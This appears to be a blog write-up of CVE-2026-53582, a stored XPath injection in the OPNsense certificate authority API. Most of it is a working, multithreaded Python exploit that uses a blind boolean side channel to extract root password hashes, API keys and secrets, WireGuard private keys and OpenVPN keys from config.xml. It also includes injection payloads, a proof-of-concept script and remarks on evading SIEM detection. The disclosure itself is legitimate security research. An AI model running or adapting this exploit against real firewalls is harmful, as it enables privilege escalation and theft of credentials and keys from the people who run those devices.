my main site is @ evan.lat. pgp for sensitive stuff: here


CVE-2026-53582

SUMMARY: a stored XPATH injection allows any user with just ca manager/certificate manager perms to leak any secret key/any value in config.xml, thus achieving privilege escalation. this can also likely be chained via csrf and some clever hiding. see https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r

https://www.cve.org/CVERecord?id=CVE-2026-53582

ill keep this short

the vuln in question

in CAsField.php:

$refcount = count(Config::getInstance()->object()->xpath("//*[text() = '{$node->refid}']")) - 1;

now just staring at this it is pretty obvious that this isn’t sanitized at all. if we control refid its wraps. finding references to refid, we land on CaController.php:

 protected function setBaseHook($node)
    {
        if (empty((string)$node->refid)) {
            $node->refid = uniqid();
        }
        $error = false;
        if (!empty((string)$node->prv_payload)) {
            /** private key manually offered */
            $node->prv = base64_encode((string)$node->prv_payload);
        }
        switch ((string)$node->action) {
            case 'internal':
            case 'ocsp':
                $extns = [];
                if (!empty((string)$node->ocsp_uri)) {
                    $extns['authorityInfoAccess'] = "OCSP;URI:{$node->ocsp_uri}";
                }
                $data = CertStore::createCert(
                    (string)$node->key_type,
                    (string)$node->lifetime,
                    $node->dn(),
                    (string)$node->digest,
                    (string)$node->caref,
                    (string)$node->action == 'internal' ? 'v3_ca' : 'ocsp',
                    $extns
                );
                /**

so clearly from uniqid() refid probably is user controlled and is expected to be alphanumeric. cool. so how do we actually trigger this oen might ask. after screwing around a bit on opnsense we get to the ca manager priv’s panel, namely adding a ca:

POST /api/trust/ca/add HTTP/12.1
Content-Type: application/x-www-form-urlencoded

ca[refid]=<here>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email]=asdf@example.com

cool. now lets try it out to see if it works. writing a quick script:

import requests
import urllib3
urllib3.disable_warnings()

base = ""
auth = ("asdf", "jkl")

s = requests.Session()
s.auth = auth
s.verify = False

r = s.get(f"{base}/api/trust/ca/search", timeout=10)
if r.status_code != 200:
    exit()

canary = "TESTING"
r = s.post(f"{base}/api/trust/ca/add", data={
    "ca[refid]": canary,
    "ca[descr]": "poc",
    "ca[action]": "internal",
    "ca[commonname]": "poc",
}, timeout=30)
uuid = r.json().get("uuid", "n/a")

s.post(f"{base}/api/trust/ca/set/{uuid}", data={"ca[refid]": f"{canary}' or ('1'='1') or 'x'='"}, timeout=30)
r = s.get(f"{base}/api/trust/ca/get/{uuid}", timeout=30)
print({r.json().get('ca', {}).get('refcount', 0))

s.post(f"{base}/api/trust/ca/set/{uuid}", data={"ca[refid]": f"{canary}' or ('1'='2') or 'x'='"}, timeout=30)
r = s.get(f"{base}/api/trust/ca/get/{uuid}", timeout=30)
print(f"false {r.json().get('ca', {}).get('refcount', 0)}")

testing both of them we get a working side channel to begin developing our attack. nice

ok how do we attack

naively we can linearly guess each character. the idea is that we bombard our opnsense box with a fuck ton of requests and ask it if ‘a’ is the right character. if we get false, we move on until we get a greater refcount. we push the correct character, then we move to the next, etc

obviously we want to make this faster so we can actually not burn access in 30 seconds. one way we can do this is a simple binary search system for determining the length and guessing the characters.

if you dont know what binary search is i suggest applying for a role in microsoft: here

making the attack not shit

1. get the length of our string

how? one might ask. luckily we can use the xpath string-length to close in on the length easily:

canary' or (string-length(//system/user/password)>=midlen) or 'x'='
canary' or (string-length(//system/user/password)>=right) or 'x'='
...

im sure you get the idea. ok now we have the length. now we can actually start guessing faster nice

2. start guessing

instead of gusesing each character slowly through the full charset we can use the xpath exprs contains and substring to (again) optimize the attack:

ca[refid]=canary' or (contains('{charset here}', substring(//system/user/password,1,1))) or 'x'='

for example this checks whether the first character is in the first half of the charset. if not, we move to the other half, etc.

we do a final precise check on said char with:

ca[refid]=canary' or (substring(//system/user/password,1,1)='z') or 'x'='

and we move to the next character. amazing

now this attack is still singlethreaded. to make it multithreaded and actually fast enough ill use a thread pool and to prevent colliding canaries or false matches e.g. ‘foo’ might match some substring in a big private key, ill just generate random ints in between __TUNG__.

ok so in summary

workers:

  1. POST /api/trust/ca/add to get a UUID and generate a unique canary string
  2. slap workers in a queue with the session, uuid and canary string

threads:

  1. grab a worker from the queue for some character index
  2. POST /api/trust/ca/set/{uuid} ca[refid] = payload, bsearch
  3. get character
  4. add it to a result string

obviously this can be heavily improved but i cbf lol

poc vid

watch the video here: https://www.youtube.com/watch?v=bkKOFIZLMkc

in reality this is obv shit attack since youll light up someones siem/ueba in 30 seconds and lose your precious access. even if you did stuff like randomize uas and headers and maybe even use proxies itll still be risky. notably it is possible to probably further reduce reqs

the xp

import argparse
import string
import sys
import random
import threading
from concurrent.futures import ThreadPoolExecutor
from queue import Queue
import requests
import urllib3

urllib3.disable_warnings()
# yeah idk dude iiwiw lol

targs = {
    "wgppk": "//OPNsense/wireguard/server/servers/server/privkey",
    "wgpsk": "//OPNsense/wireguard/client/clients/client/psk",
    "hasyncpw": "//hasync/password",
    "roothash": "//system/user/password",
    "rootkey": "//system/user/apikeys/item/key",
    "rootsecret": "//system/user/apikeys/item/secret",
    "openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key"
}

cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; "))
# print("".join(cset))


makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__"    

total = 0
lock = threading.Lock()

# mega ass
def sesh(a):
    s = requests.Session()
    s.auth = a
    s.verify = False
    return s


def prober(s, base, n):
    canary = makecanary()
    r = s.post(f"{base}/api/trust/ca/add", data={
        "ca[refid]": canary, "ca[descr]": f"p{n}",
        "ca[action]": "internal", "ca[commonname]": f"p{n}",
    }, timeout=30)
    return r.json().get("uuid", "n/a"), canary


def inj(s, base, ca_uuid, nx, condition):
    global total
    payload = f"{nx}' or ({condition}) or 'x'='"
    s.post(
        f"{base}/api/trust/ca/set/{ca_uuid}",
        data={"ca[refid]": payload},
        timeout=30,
    )
    r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30)
    with lock:
        total += 1
    ca = r.json().get("ca", {})
    # refcount = int(ca["refcount"])
    refcount = int(ca.get("refcount", "0"))
    return refcount > 0


def getlen(s, base, ca, nx, xpath):
    lo, hi = 0, 300
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"):
            lo = mid
        else:
            hi = mid - 1
    return lo


def binsrch(s, base, ca, nx, xpath, pos):
    cands = cset[:]
    while len(cands) > 1:
        midpoint = len(cands) // 2
        half = "".join(cands[:midpoint])
        cond = f"contains('{half}', substring({xpath},{pos},1))"
        if inj(s, base, ca, nx, cond):
            cands = cands[:midpoint]
        else:
            cands = cands[midpoint:]

    c = cands[0]
    if c == "'":
        lit = f'"{c}"'
    else:
        lit = f"'{c}'"

    cond = f"substring({xpath},{pos},1)={lit}"
    if inj(s, base, ca, nx, cond):
        return c
    return None


def extract(workers, base, xpath):
    s0, ca0, nx0 = workers[0]
    length = getlen(s0, base, ca0, nx0, xpath)
    if length == 0:
        return ""
    print(f"+ maybe {length} len")

    result = ["?"] * length

    wq = Queue()
    for w in workers:
        wq.put(w)
    # start grabbing
    def do(pos):
        s, ca, nx = wq.get()
        try:
            return pos, binsrch(s, base, ca, nx, xpath, pos + 1)
        finally:
            wq.put((s, ca, nx))

    with ThreadPoolExecutor(max_workers=len(workers)) as pool:
       # for pos, ch in pool.map(doer_func(p), range(length)):
        for pos, ch in pool.map(lambda p: do(p), range(length)):
            if ch:
                result[pos] = ch
            sys.stdout.write(ch or "#")
            sys.stdout.flush()

    print()
    return "".join(result)


def main():
    global total
    print("xray")
    target_names = list(targs.keys())
    target_list = "\n".join(f"{k}:{v}" for k, v in targs.items())
    # i gave it a bullshit name
    parser = argparse.ArgumentParser(
        description="x-ray",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="extractables:\n" + target_list,
    )
    parser.add_argument("targ", help="base url")
    parser.add_argument("api_key", help="you need this")
    parser.add_argument("api_secret", help="this too")
    parser.add_argument("target", nargs="?", default="all", choices=target_names + ["all"], help="target to extract")
    parser.add_argument("-w", "--workers", type=int, default=8, help="how many workers in parallel")
    args = parser.parse_args()

    base = args.targ.rstrip("/")
    auth = (args.api_key, args.api_secret)


    s = sesh(auth)
    r = s.get(f"{base}/api/trust/ca/search", timeout=10)
    if r.status_code != 200:
        print("- bro")
        sys.exit(1)
    print("+ oh sweet we can access the ca api")


    workers = []

    for i in range(args.workers):
        ws = sesh(auth)
        uuid, nx = prober(ws, base, i)
        if not uuid:
            print("creating probe failed (prober)")
            sys.exit(1)
        workers.append((ws, uuid, nx))
    print(f"+ {args.workers} probing\n")

    # extract
    if args.target == "all":
        targets = targs
    else:
        targets = {args.target: targs[args.target]}
    for name, xpath in targets.items():
        print(f"+ {name}")
        s0, ca0, nx0 = workers[0]
        if not inj(s0, base, ca0, nx0, f"boolean({xpath})"):
            print("n/a")
            continue
        val = extract(workers, base, xpath)
        print(f"{repr(val)}  ({total} reqs)\n")
    # finally: # nvm
    # cleanup but not really beacuse im lazy
    for ws, ca, nx in workers:
    ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30)
    print(f"+ done {total}")


if __name__ == "__main__":
    main()